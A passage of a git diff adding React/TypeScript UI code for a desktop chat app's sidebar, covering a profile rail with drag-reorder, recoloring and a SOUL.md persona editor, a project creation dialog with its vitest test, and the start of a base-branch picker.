+    const from = ids.indexOf(String(active.id))
+    const to = ids.indexOf(String(over.id))
+
+    if (from >= 0 && to >= 0) {
+      setProfileOrder(arrayMove(ids, from, to))
+      reorderCommitHaptic()
+    }
+  }
+
+  // Re-pull the running profile + list on mount so a profile created elsewhere
+  // shows up; cheap and best-effort.
+  useEffect(() => {
+    void refreshActiveProfile()
+  }, [])
+
+  // Open the create dialog when the `profile.create` hotkey fires (the dialog
+  // state lives here, so the global keybind bumps a request atom we watch).
+  const createRequest = useStore($profileCreateRequest)
+  const lastCreateRef = useRef(createRequest)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (createRequest === lastCreateRef.current) {
+      return
+    }
+
+    lastCreateRef.current = createRequest
+    setCreateOpen(true)
+  }, [createRequest])
+
+  return (
+    <div aria-label="Profiles" className="flex items-center gap-0.5" data-slot="profile-rail" role="tablist">
+      {/* One button toggles default ↔ all: home face when scoped to a profile,
+          layers face when showing everything. Pinned left like Manage is right.
+          Hidden until a second profile exists. */}
+      {multiProfile &&
+        (defaultProfile ? (
+          // On default → toggle to all. Anywhere else (all view or a named
+          // profile) → return to default. So leaving a profile never lands on all.
+          <ProfilePill
+            active={isAll || onDefault}
+            glyph={isAll ? 'layers' : 'home'}
+            label={onDefault ? p.showAllProfiles : p.switchToProfile(defaultProfile.name)}
+            onSelect={() => (onDefault ? setShowAllProfiles(true) : selectProfile(defaultProfile.name))}
+          />
+        ) : (
+          <ProfilePill active={isAll} glyph="layers" label={p.allProfiles} onSelect={() => setShowAllProfiles(true)} />
+        ))}
+
+      {/* Single-profile: the active default's home icon next to the create +. */}
+      {!multiProfile && defaultProfile && (
+        <ProfilePill
+          active
+          glyph="home"
+          label={defaultProfile.name}
+          onSelect={() => selectProfile(defaultProfile.name)}
+        />
+      )}
+
+      {condensed ? (
+        // Condensed path: one compact dropdown instead of N squares. No drag
+        // reorder, no long-press recolor, no per-square context menu — Manage
+        // covers rename/delete at this scale.
+        <div className="flex min-w-0 flex-1 items-center gap-1">
+          <ProfileDropdown
+            activeKey={isAll ? null : activeKey}
+            colors={colors}
+            onSelect={selectProfile}
+            profiles={named}
+          />
+          <AddProfileButton label={p.newProfile} onClick={() => setCreateOpen(true)} />
+          <ImportProfileButton label={p.importProfile} />
+        </div>
+      ) : (
+        <div
+          className="flex min-w-0 flex-1 items-center gap-1 overflow-x-auto [scrollbar-width:none] [&::-webkit-scrollbar]:hidden"
+          ref={scrollRef}
+        >
+          {multiProfile && (
+            <DndContext
+              collisionDetection={closestCenter}
+              modifiers={[stepThroughCells]}
+              onDragEnd={handleDragEnd}
+              onDragOver={handleDragOver}
+              onDragStart={handleDragStart}
+              sensors={sensors}
+            >
+              <SortableContext items={named.map(profile => profile.name)} strategy={horizontalListSortingStrategy}>
+                {/* relative → the strip is the dragged square's offsetParent, so the
+                    clamp modifier bounds drags to the occupied cells (not the +). */}
+                <div className="relative flex items-center gap-1">
+                  {named.map(profile => (
+                    <ProfileSquare
+                      active={!isAll && normalizeProfileKey(profile.name) === activeKey}
+                      color={resolveProfileColor(profile.name, colors)}
+                      key={profile.name}
+                      label={profile.name}
+                      onDelete={() => setPendingDelete(profile)}
+                      onEditSoul={() => setPendingSoul(profile.name)}
+                      onRecolor={color => setProfileColor(profile.name, color)}
+                      onRename={() => setPendingRename(profile)}
+                      onSelect={() => selectProfile(profile.name)}
+                    />
+                  ))}
+                </div>
+              </SortableContext>
+            </DndContext>
+          )}
+
+          <AddProfileButton label={p.newProfile} onClick={() => setCreateOpen(true)} />
+          <ImportProfileButton label={p.importProfile} />
+        </div>
+      )}
+
+      {/* Always reachable, even with only the default profile: the manage
+          overlay is the only place to edit a profile's SOUL.md, and a
+          single-profile user must be able to edit the default's persona
+          without first creating a throwaway second profile. */}
+      <ProfilePill active={false} glyph="ellipsis" label={p.manageProfiles} onSelect={() => navigate(PROFILES_ROUTE)} />
+
+      {/* Land in the new profile on a fresh chat (selectProfile triggers the
+          new-session reset), not stuck on the session you were just in. */}
+      <CreateProfileDialog
+        onClose={() => setCreateOpen(false)}
+        onCreated={async name => {
+          await refreshActiveProfile()
+          selectProfile(name)
+        }}
+        open={createOpen}
+        profiles={profiles}
+      />
+
+      <RenameProfileDialog
+        currentName={pendingRename?.name ?? ''}
+        onClose={() => setPendingRename(null)}
+        onRenamed={refreshActiveProfile}
+        open={pendingRename !== null}
+      />
+
+      <DeleteProfileDialog
+        onClose={() => setPendingDelete(null)}
+        onDeleted={refreshActiveProfile}
+        open={pendingDelete !== null}
+        profile={pendingDelete}
+      />
+
+      <EditSoulDialog onClose={() => setPendingSoul(null)} profileName={pendingSoul} />
+    </div>
+  )
+}
+
+// Right-click → Edit SOUL.md for a sidebar profile — the same in-app markdown
+// editor as the memory-graph node edit, so a profile's persona is editable
+// without opening the Manage overlay.
+function EditSoulDialog({ onClose, profileName }: { onClose: () => void; profileName: null | string }) {
+  const { t } = useI18n()
+  const p = t.profiles
+  const [content, setContent] = useState('')
+  const [loading, setLoading] = useState(false)
+  const [saving, setSaving] = useState(false)
+
+  useEffect(() => {
+    if (!profileName) {
+      return
+    }
+
+    let cancelled = false
+    setLoading(true)
+    setContent('')
+
+    getProfileSoul(profileName)
+      .then(soul => !cancelled && setContent(soul.content))
+      .catch(err => !cancelled && notifyError(err, p.failedLoadSoul))
+      .finally(() => !cancelled && setLoading(false))
+
+    return () => void (cancelled = true)
+  }, [p, profileName])
+
+  const save = async () => {
+    if (!profileName) {
+      return
+    }
+
+    setSaving(true)
+
+    try {
+      await updateProfileSoul(profileName, content)
+      notify({ kind: 'success', title: p.soulSaved, message: profileName })
+      onClose()
+    } catch (err) {
+      notifyError(err, p.failedSaveSoul)
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={open => !open && !saving && onClose()} open={profileName !== null}>
+      <DialogContent className="max-w-2xl">
+        <DialogHeader>
+          <DialogTitle>{profileName} · SOUL.md</DialogTitle>
+        </DialogHeader>
+        <div className="h-80">
+          {!loading && profileName && (
+            <CodeEditor
+              filePath="SOUL.md"
+              framed
+              initialValue={content}
+              key={profileName}
+              onCancel={() => !saving && onClose()}
+              onChange={setContent}
+              onSave={() => void save()}
+            />
+          )}
+        </div>
+        <DialogFooter>
+          <Button disabled={saving} onClick={onClose} type="button" variant="ghost">
+            {t.common.cancel}
+          </Button>
+          <Button disabled={saving || loading} onClick={() => void save()}>
+            {saving ? p.saving : p.saveSoul}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+// The "+" create button, shared by both rail render paths.
+function AddProfileButton({ label, onClick }: { label: string; onClick: () => void }) {
+  return (
+    <Tip label={label}>
+      <button
+        aria-label={label}
+        className="grid size-5 shrink-0 place-items-center rounded-[3px] text-(--ui-text-tertiary) opacity-55 transition hover:bg-(--ui-control-hover-background) hover:text-foreground hover:opacity-100"
+        onClick={onClick}
+        type="button"
+      >
+        <Codicon name="add" size="0.75rem" />
+      </button>
+    </Tip>
+  )
+}
+
+// Import-archive door beside the "+": adopt a shared profile bundle (theme,
+// skills, layout) as a new profile. Same chrome as AddProfileButton; the whole
+// flow (picker → import → apply overlay → switch) lives in the store.
+function ImportProfileButton({ label }: { label: string }) {
+  return (
+    <Tip label={label}>
+      <button
+        aria-label={label}
+        className="grid size-5 shrink-0 place-items-center rounded-[3px] text-(--ui-text-tertiary) opacity-55 transition hover:bg-(--ui-control-hover-background) hover:text-foreground hover:opacity-100"
+        onClick={() => void runImportProfileFlow()}
+        type="button"
+      >
+        <Codicon name="cloud-download" size="0.75rem" />
+      </button>
+    </Tip>
+  )
+}
+
+// The condensed rail: every named profile in one compact select. The trigger
+// shows the active profile (tinted initial + name); on default/all scope it
+// falls back to the placeholder since the left toggle pill carries that state.
+function ProfileDropdown({
+  activeKey,
+  colors,
+  onSelect,
+  profiles
+}: {
+  activeKey: null | string
+  colors: Record<string, string>
+  onSelect: (name: string) => void
+  profiles: ProfileInfo[]
+}) {
+  const { t } = useI18n()
+  const p = t.profiles
+
+  const value = activeKey ? (profiles.find(profile => normalizeProfileKey(profile.name) === activeKey)?.name ?? '') : ''
+
+  return (
+    <Select onValueChange={name => name && onSelect(name)} value={value}>
+      <SelectTrigger aria-label={p.title} className="min-w-0 flex-1" size="xs">
+        <SelectValue placeholder={p.title} />
+      </SelectTrigger>
+      <SelectContent collisionPadding={{ bottom: 44, left: 8, right: 8, top: 8 }} side="top">
+        {profiles.map(profile => (
+          <ProfileDropdownItem
+            color={resolveProfileColor(profile.name, colors)}
+            key={profile.name}
+            name={profile.name}
+          />
+        ))}
+      </SelectContent>
+    </Select>
+  )
+}
+
+// One dropdown row per profile — its own component so each row can own a
+// hover-intent prewarm timer (see useProfilePrewarm).
+function ProfileDropdownItem({ color, name }: { color: null | string; name: string }) {
+  const hue = color ?? 'var(--ui-text-quaternary)'
+  const { cancelPrewarm, startPrewarm } = useProfilePrewarm(name)
+
+  return (
+    <SelectItem onPointerEnter={startPrewarm} onPointerLeave={cancelPrewarm} value={name}>
+      <span className="flex min-w-0 items-center gap-1.5">
+        <span
+          aria-hidden="true"
+          className="grid size-4 shrink-0 place-items-center rounded-[3px] text-[0.5rem] font-semibold uppercase leading-none"
+          style={{ backgroundColor: profileColorSoft(hue, 22), color: color ?? undefined }}
+        >
+          {name.replace(/[^a-z0-9]/gi, '').charAt(0) || '?'}
+        </span>
+        <span className="truncate">{name}</span>
+      </span>
+    </SelectItem>
+  )
+}
+
+interface ProfilePillProps {
+  active: boolean
+  // home / All / Manage are glyph action buttons (navigation, not identity).
+  glyph: string
+  label: string
+  onSelect: () => void
+}
+
+function ProfilePill({ active, glyph, label, onSelect }: ProfilePillProps) {
+  return (
+    <Tip label={label}>
+      <Button
+        aria-label={label}
+        aria-pressed={active}
+        className={cn(
+          'bg-transparent text-(--ui-text-tertiary) hover:bg-(--ui-control-hover-background) hover:text-foreground',
+          active && 'bg-(--ui-control-active-background) text-foreground'
+        )}
+        onClick={onSelect}
+        size="icon-xs"
+        type="button"
+        variant="ghost"
+      >
+        <Codicon name={glyph} size="0.875rem" />
+      </Button>
+    </Tip>
+  )
+}
+
+interface ProfileSquareProps {
+  active: boolean
+  color: null | string
+  label: string
+  onSelect: () => void
+  onRecolor: (color: null | string) => void
+  onRename: () => void
+  onEditSoul: () => void
+  onDelete: () => void
+}
+
+// Hold this long without moving (a drag would have started first) to open the
+// color picker — the "hard press" gesture, distinct from tap-to-select.
+const LONG_PRESS_MS = 450
+
+// A profile *is* its colored square — no icon-button chrome. Soft profile-tint
+// fill + the initial in the full color; the active one pops to full opacity with
+// a color ring. These pack tightly so the rail reads as a strip of profiles,
+// drag-sort to reorder (a tap below the drag threshold still selects), and
+// right-click to rename/delete. The button carries both the tooltip and
+// context-menu triggers via nested asChild Slots, so a single element keeps the
+// dnd listeners, hover tip, and right-click menu.
+function ProfileSquare({
+  active,
+  color,
+  label,
+  onDelete,
+  onEditSoul,
+  onRecolor,
+  onRename,
+  onSelect
+}: ProfileSquareProps) {
+  const { t } = useI18n()
+  const p = t.profiles
+  const hue = color ?? 'var(--ui-text-quaternary)'
+  const [pickerOpen, setPickerOpen] = useState(false)
+  const pressTimer = useRef<null | number>(null)
+  const suppressClick = useRef(false)
+  // Hovering a square telegraphs the switch — start that profile's backend
+  // spawn now so a cold click doesn't pay the full boot.
+  const { cancelPrewarm, startPrewarm } = useProfilePrewarm(label)
+
+  const { attributes, isDragging, listeners, setNodeRef, transform, transition } = useSortable({
+    id: label,
+    transition: RAIL_TRANSITION
+  })
+
+  const clearPress = () => {
+    if (pressTimer.current != null) {
+      clearTimeout(pressTimer.current)
+      pressTimer.current = null
+    }
+  }
+
+  // A real drag (movement past the dnd threshold) cancels the pending hold, so a
+  // reorder never doubles as a color pick. Also tidy up on unmount.
+  useEffect(() => {
+    if (isDragging) {
+      clearPress()
+    }
+  }, [isDragging])
+  useEffect(() => clearPress, [])
+
+  const base = CSS.Transform.toString(transform)
+  const ring = active ? `inset 0 0 0 1.5px ${hue}` : ''
+  const lift = isDragging ? '0 6px 16px -4px rgb(0 0 0 / 0.4)' : ''
+
+  const pickColor = (next: null | string) => {
+    onRecolor(next)
+    setPickerOpen(false)
+    triggerHaptic('selection')
+  }
+
+  return (
+    <Popover onOpenChange={setPickerOpen} open={pickerOpen}>
+      <ContextMenu>
+        <TooltipProvider delayDuration={0}>
+          <Tooltip>
+            <PopoverAnchor asChild>
+              <ContextMenuTrigger asChild>
+                <TooltipTrigger asChild>
+                  <button
+                    className={cn(
+                      'grid size-5 shrink-0 cursor-grab touch-none select-none place-items-center rounded-[3px] text-[0.5625rem] font-semibold uppercase leading-none transition-opacity hover:opacity-100',
+                      active ? 'opacity-100' : 'opacity-55',
+                      isDragging && 'z-10 cursor-grabbing opacity-100'
+                    )}
+                    ref={setNodeRef}
+                    style={{
+                      backgroundColor: profileColorSoft(hue, active ? 30 : 22),
+                      boxShadow: [ring, lift].filter(Boolean).join(', ') || undefined,
+                      color: color ?? undefined,
+                      // Glide the dragged square between snapped cells with a little
+                      // overshoot (no scale — the overflow-x strip would clip it).
+                      transform: base,
+                      transition: isDragging ? DRAG_TRANSITION : transition
+                    }}
+                    type="button"
+                    {...attributes}
+                    {...listeners}
+                    aria-label={label}
+                    aria-pressed={active}
+                    // Hold-to-recolor rides alongside the dnd pointer listener (call
+                    // it first so drag tracking still arms), then a timer opens the
+                    // picker and flags the trailing click so it doesn't also select.
+                    onClick={() => {
+                      if (suppressClick.current) {
+                        suppressClick.current = false
+
+                        return
+                      }
+
+                      onSelect()
+                    }}
+                    onPointerCancel={clearPress}
+                    onPointerDown={event => {
+                      listeners?.onPointerDown?.(event)
+
+                      if (event.button !== 0) {
+                        return
+                      }
+
+                      suppressClick.current = false
+                      clearPress()
+                      pressTimer.current = window.setTimeout(() => {
+                        suppressClick.current = true
+                        triggerHaptic('success')
+                        setPickerOpen(true)
+                      }, LONG_PRESS_MS)
+                    }}
+                    onPointerEnter={startPrewarm}
+                    onPointerLeave={() => {
+                      clearPress()
+                      cancelPrewarm()
+                    }}
+                    onPointerUp={clearPress}
+                  >
+                    {label.replace(/[^a-z0-9]/gi, '').charAt(0) || '?'}
+                  </button>
+                </TooltipTrigger>
+              </ContextMenuTrigger>
+            </PopoverAnchor>
+            <TooltipContent>{label}</TooltipContent>
+          </Tooltip>
+        </TooltipProvider>
+
+        {/* The rail sits at the very bottom, so pad off the chrome (esp. the
+            statusbar) — Radix then flips the menu up instead of squishing it. */}
+        <ContextMenuContent
+          aria-label={p.actions}
+          className="w-40"
+          collisionPadding={{ bottom: 44, left: 8, right: 8, top: 8 }}
+          // Menu close refocuses the trigger — which doubles as the popover
+          // anchor — so the picker reads it as focus-outside and dies on open.
+          // Suppress the refocus and the picker survives.
+          onCloseAutoFocus={event => event.preventDefault()}
+        >
+          <ContextMenuItem onSelect={() => setPickerOpen(true)}>
+            <Codicon name="symbol-color" size="0.875rem" />
+            <span>{p.color}</span>
+          </ContextMenuItem>
+          <ContextMenuItem onSelect={onRename}>
+            <Codicon name="text-size" size="0.875rem" />
+            <span>{p.renameMenu}</span>
+          </ContextMenuItem>
+          <ContextMenuItem onSelect={onEditSoul}>
+            <Codicon name="edit" size="0.875rem" />
+            <span>{p.editSoul}</span>
+          </ContextMenuItem>
+          <ContextMenuItem onSelect={() => void runExportProfileFlow(label)}>
+            <Codicon name="package" size="0.875rem" />
+            <span>{p.exportProfile}</span>
+          </ContextMenuItem>
+          <ContextMenuItem
+            className="text-destructive focus:text-destructive"
+            onSelect={onDelete}
+            variant="destructive"
+          >
+            <Codicon name="trash" size="0.875rem" />
+            <span>{t.common.delete}</span>
+          </ContextMenuItem>
+        </ContextMenuContent>
+      </ContextMenu>
+
+      <PopoverContent
+        aria-label={p.colorFor}
+        className="w-auto p-2"
+        collisionPadding={{ bottom: 44, left: 8, right: 8, top: 8 }}
+        side="top"
+      >
+        <ColorSwatches
+          clearIcon="sync"
+          clearLabel={p.autoColor}
+          onChange={pickColor}
+          swatches={PROFILE_SWATCHES}
+          swatchLabel={p.setColor}
+          value={color}
+        />
+      </PopoverContent>
+    </Popover>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/project-dialog.test.tsx b/ui-desktop/src/app/chat/sidebar/project-dialog.test.tsx
new file mode 100644
index 000000000..17bc5dd9c
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/project-dialog.test.tsx
@@ -0,0 +1,87 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import type * as Nanostores from 'nanostores'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { ProjectDialog } from './project-dialog'
+
+afterEach(cleanup)
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      common: { cancel: 'Cancel', save: 'Save' },
+      sidebar: {
+        projects: {
+          addFolder: 'Add folder',
+          create: 'Create',
+          createDesc: 'Create a new project',
+          createFailed: 'Failed to create project',
+          createTitle: 'New project',
+          foldersLabel: 'Folders',
+          ideaGenerate: 'Generate',
+          ideaGenerating: 'Generating…',
+          ideaLabel: 'Idea',
+          ideaPlaceholder: 'What are you building?',
+          ideaShuffle: 'Shuffle ideas',
+          namePlaceholder: 'Project name',
+          noFolders: 'No folders yet',
+          primaryBadge: 'Primary',
+          removeFolder: 'Remove folder'
+        }
+      }
+    }
+  })
+}))
+
+// $projectDialog is a real nanostore atom in the app; recreate it here so
+// useStore behaves identically without pulling in the rest of the projects
+// store (backend calls, project list, etc.) which is irrelevant to the Tip fix.
+// vi.mock factories are hoisted above the rest of the file, so the atom must
+// be created inside vi.hoisted to exist by the time the factory runs.
+const { $projectDialog } = vi.hoisted(() => {
+  const { atom } = require('nanostores') as typeof Nanostores
+
+  return {
+    $projectDialog: atom<{ mode: 'create' | 'rename' | 'add-folder'; name?: string; projectId?: string } | null>({
+      mode: 'create'
+    })
+  }
+})
+
+vi.mock('@/store/projects', () => ({
+  $projectDialog,
+  addProjectFolder: vi.fn(),
+  closeProjectDialog: vi.fn(),
+  createProject: vi.fn(),
+  generateProjectIdea: vi.fn(),
+  pickProjectFolder: vi.fn(async () => '/Users/test/my-folder'),
+  renameProject: vi.fn()
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notifyError: vi.fn()
+}))
+
+vi.mock('@/lib/project-idea-templates', () => ({
+  randomIdeaTemplates: () => [{ emoji: '🚀', idea: 'A rocket tracker', label: 'Rocket tracker' }]
+}))
+
+const tipTrigger = (el: HTMLElement) => el.closest('[data-slot="tooltip-trigger"]')
+
+describe('ProjectDialog', () => {
+  it('wraps the "shuffle idea" button in a Tip', () => {
+    render(<ProjectDialog />)
+
+    const button = screen.getByRole('button', { name: 'Shuffle ideas' })
+    expect(tipTrigger(button)).toBeTruthy()
+  })
+
+  it('wraps the "remove folder" button in a Tip once a folder is added', async () => {
+    render(<ProjectDialog />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'Add folder' }))
+
+    const button = await screen.findByRole('button', { name: 'Remove folder' })
+    expect(tipTrigger(button)).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/project-dialog.tsx b/ui-desktop/src/app/chat/sidebar/project-dialog.tsx
new file mode 100644
index 000000000..a6254a518
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/project-dialog.tsx
@@ -0,0 +1,305 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { GenerateButton } from '@/components/ui/generate-button'
+import { Input } from '@/components/ui/input'
+import { Textarea } from '@/components/ui/textarea'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { type ProjectIdeaTemplate, randomIdeaTemplates } from '@/lib/project-idea-templates'
+import { cn } from '@/lib/utils'
+import { notifyError } from '@/store/notifications'
+import {
+  $projectDialog,
+  addProjectFolder,
+  closeProjectDialog,
+  createProject,
+  generateProjectIdea,
+  pickProjectFolder,
+  renameProject
+} from '@/store/projects'
+
+// Single dialog mounted once in the sidebar; it renders create / rename /
+// add-folder flows driven by the $projectDialog atom. Folders are chosen via
+// the native directory picker (reused from the default-project-dir setting).
+export function ProjectDialog() {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+  const state = useStore($projectDialog)
+  const open = state !== null
+  const mode = state?.mode ?? 'create'
+
+  const [name, setName] = useState('')
+  const [folders, setFolders] = useState<string[]>([])
+  const [idea, setIdea] = useState('')
+  const [templates, setTemplates] = useState<ProjectIdeaTemplate[]>([])
+  const [generatingIdea, setGeneratingIdea] = useState(false)
+  const [submitting, setSubmitting] = useState(false)
+  const nameRef = useRef<HTMLInputElement>(null)
+
+  useEffect(() => {
+    if (open) {
+      setName(state?.name ?? '')
+      setFolders([])
+      setIdea('')
+      setTemplates(randomIdeaTemplates())
+      setGeneratingIdea(false)
+      setSubmitting(false)
+
+      if (mode !== 'add-folder') {
+        window.setTimeout(() => nameRef.current?.select(), 0)
+      }
+    }
+  }, [open, mode, state?.name])
+
+  const onOpenChange = (next: boolean) => {
+    if (!next) {
+      closeProjectDialog()
+    }
+  }
+
+  // One submit beat for every flow: guard re-entry, run the write, close on
+  // success, surface a toast on failure. Callers pass only the write.
+  const runSubmit = async (write: () => Promise<unknown>) => {
+    if (submitting) {
+      return
+    }
+
+    setSubmitting(true)
+
+    try {
+      await write()
+      closeProjectDialog()
+    } catch (err) {
+      notifyError(err, p.createFailed)
+    } finally {
+      setSubmitting(false)
+    }
+  }
+
+  const pickFolder = async () => {
+    try {
+      const dir = await pickProjectFolder()
+
+      if (!dir) {
+        return
+      }
+
+      const projectId = state?.projectId
+
+      if (mode === 'add-folder' && projectId) {
+        await runSubmit(() => addProjectFolder(projectId, dir))
+
+        return
+      }
+
+      setFolders(prev => (prev.includes(dir) ? prev : [...prev, dir]))
+    } catch (err) {
+      notifyError(err, p.createFailed)
+    }
+  }
+
+  const submit = async () => {
+    const trimmed = name.trim()
+    const projectId = state?.projectId
+
+    if (mode === 'rename' && projectId) {
+      if (trimmed) {
+        await runSubmit(() => renameProject(projectId, trimmed))
+      }
+
+      return
+    }
+
+    // A project owns sessions by folder (cwd-prefix), so creation requires at
+    // least one — a folder-less project couldn't hold a session anyway.
+    if (mode === 'create' && trimmed && folders.length) {
+      await runSubmit(() => createProject({ folders, idea: idea.trim() || undefined, name: trimmed, use: true }))
+    }
+  }
+
+  const generateIdea = async () => {
+    if (generatingIdea) {
+      return
+    }
+
+    setGeneratingIdea(true)
+
+    try {
+      const text = await generateProjectIdea(name)
+
+      if (text) {
+        setIdea(text)
+      }
+    } finally {
+      setGeneratingIdea(false)
+    }
+  }
+
+  const title = mode === 'rename' ? p.renameTitle : mode === 'add-folder' ? p.addFolderTitle : p.createTitle
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent className="max-w-md" onInteractOutside={event => event.preventDefault()}>
+        <DialogHeader>
+          <DialogTitle>{title}</DialogTitle>
+          {mode === 'create' && <DialogDescription>{p.createDesc}</DialogDescription>}
+        </DialogHeader>
+
+        {mode !== 'add-folder' && (
+          <Input
+            autoFocus
+            disabled={submitting}
+            onChange={event => setName(event.target.value)}
+            onKeyDown={event => {
+              if (event.key === 'Enter') {
+                event.preventDefault()
+                void submit()
+              } else if (event.key === 'Escape') {
+                onOpenChange(false)
+              }
+            }}
+            placeholder={p.namePlaceholder}
+            ref={nameRef}
+            value={name}
+          />
+        )}
+
+        {mode === 'create' && (
+          <div className="flex flex-col gap-1.5">
+            <span className="text-[0.6875rem] font-medium text-(--ui-text-tertiary)">{p.foldersLabel}</span>
+            {folders.length === 0 ? (
+              <span className="text-[0.75rem] text-(--ui-text-quaternary)">{p.noFolders}</span>
+            ) : (
+              <ul className="flex flex-col gap-1">
+                {folders.map((folder, index) => (
+                  <li
+                    className={cn(
+                      'flex items-center gap-2 rounded-md bg-(--ui-control-hover-background) px-2 py-1 text-[0.75rem]'
+                    )}
+                    key={folder}
+                  >
+                    <Codicon className="shrink-0 text-(--ui-text-tertiary)" name="folder" size="0.75rem" />
+                    <span className="min-w-0 flex-1 truncate" title={folder}>
+                      {folder}
+                    </span>
+                    {index === 0 && (
+                      <span className="shrink-0 text-[0.625rem] uppercase text-(--ui-text-quaternary)">
+                        {p.primaryBadge}
+                      </span>
+                    )}
+                    <Tip label={p.removeFolder}>
+                      <Button
+                        aria-label={p.removeFolder}
+                        className="size-5 shrink-0 text-(--ui-text-quaternary) hover:text-foreground"
+                        onClick={() => setFolders(prev => prev.filter(f => f !== folder))}
+                        size="icon-xs"
+                        type="button"
+                        variant="ghost"
+                      >
+                        <Codicon name="close" size="0.75rem" />
+                      </Button>
+                    </Tip>
+                  </li>
+                ))}
+              </ul>
+            )}
+            <Button
+              className="self-start"
+              disabled={submitting}
+              onClick={() => void pickFolder()}
+              size="sm"
+              type="button"
+              variant="ghost"
+            >
+              <Codicon name="add" size="0.75rem" />
+              {p.addFolder}
+            </Button>
+          </div>
+        )}
+
+        {mode === 'create' && (
+          <div className="flex flex-col gap-1.5">
+            <span className="text-[0.6875rem] font-medium text-(--ui-text-tertiary)">{p.ideaLabel}</span>
+            <div className="relative">
+              <Textarea
+                className="min-h-20 pr-8 text-[0.8125rem]"
+                disabled={submitting}
+                onChange={event => setIdea(event.target.value)}
+                placeholder={p.ideaPlaceholder}
+                value={idea}
+              />
+              <GenerateButton
+                className="absolute top-1 right-1"
+                disabled={submitting}
+                generating={generatingIdea}
+                generatingLabel={p.ideaGenerating}
+                label={p.ideaGenerate}
+                onGenerate={() => void generateIdea()}
+              />
+            </div>
+            <div className="flex flex-wrap items-center gap-1">
+              {templates.map(template => (
+                <button
+                  className="flex items-center gap-1 rounded-full border border-(--ui-stroke-tertiary) px-2 py-0.5 text-[0.6875rem] text-(--ui-text-secondary) transition-colors hover:border-(--ui-stroke-secondary) hover:bg-(--ui-control-hover-background) hover:text-foreground disabled:opacity-50"
+                  disabled={submitting}
+                  key={template.label}
+                  onClick={() => setIdea(template.idea)}
+                  type="button"
+                >
+                  <span aria-hidden>{template.emoji}</span>
+                  {template.label}
+                </button>
+              ))}
+              <Tip label={p.ideaShuffle}>
+                <Button
+                  aria-label={p.ideaShuffle}
+                  className="size-5 text-(--ui-text-quaternary) hover:text-foreground"
+                  disabled={submitting}
+                  onClick={() => setTemplates(randomIdeaTemplates())}
+                  size="icon-xs"
+                  type="button"
+                  variant="ghost"
+                >
+                  <Codicon name="refresh" size="0.75rem" />
+                </Button>
+              </Tip>
+            </div>
+          </div>
+        )}
+
+        {mode === 'add-folder' && (
+          <Button disabled={submitting} onClick={() => void pickFolder()} type="button">
+            <Codicon name="folder-opened" size="0.875rem" />
+            {p.addFolder}
+          </Button>
+        )}
+
+        {mode !== 'add-folder' && (
+          <DialogFooter>
+            <Button disabled={submitting} onClick={() => onOpenChange(false)} type="button" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button
+              disabled={submitting || !name.trim() || (mode === 'create' && folders.length === 0)}
+              onClick={() => void submit()}
+              type="button"
+            >
+              {mode === 'rename' ? t.common.save : p.create}
+            </Button>
+          </DialogFooter>
+        )}
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/base-branch-picker.tsx b/ui-desktop/src/app/chat/sidebar/projects/base-branch-picker.tsx
new file mode 100644
index 000000000..f4c53aec5
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/base-branch-picker.tsx
@@ -0,0 +1,160 @@
+import { useStore } from '@nanostores/react'
+import { useCallback, useEffect, useMemo, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
+import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
+import type { ClawCodexGitBaseBranch } from '@/global'
+import { useI18n } from '@/i18n'
+import { $repoStatus } from '@/store/coding-status'
+import { listBaseBranches } from '@/store/projects'
+
+// Filterable combobox for picking the base branch of a new worktree. Lists
+// local + remote-tracking branches, defaults to the default branch
+// (origin/HEAD, or local main/master when no remote). The current session's
+// branch is sorted to the top so it's one click away. The parent owns the
+// selected value via `value` / `onValueChange`.
+export function BaseBranchPicker({
+  disabled,
+  repoPath,
+  onValueChange,
+  value
+}: {
+  disabled?: boolean
+  repoPath: string
+  onValueChange: (value: string) => void
+  value: string
+}) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+  const repoStatus = useStore($repoStatus)
+  const [branches, setBranches] = useState<ClawCodexGitBaseBranch[]>([])
+  const [loading, setLoading] = useState(false)
+  const [open, setOpen] = useState(false)
+
+  const currentBranch = repoStatus?.detached ? null : (repoStatus?.branch ?? null)
+
+  const load = useCallback(async () => {
+    if (!repoPath) {
+      return
+    }
+
+    setLoading(true)
+
+    try {
+      const list = await listBaseBranches(repoPath)
+      setBranches(list)
+
+      // Default to the remote default (origin/HEAD). Fall back to the local
+      // default branch (main/master) when no remote exists. The value is
+      // always a concrete branch — never undefined.
+      const defaultBranch = list.find(b => b.isDefault)
+
+      if (defaultBranch) {
+        onValueChange(defaultBranch.name)
+      } else {
+        onValueChange(list[0]?.name ?? '')
+      }
+    } catch {
+      setBranches([])
+    } finally {
+      setLoading(false)
+    }
+  }, [repoPath, onValueChange])
+
+  // Load on mount so the default branch fills in before the user opens the
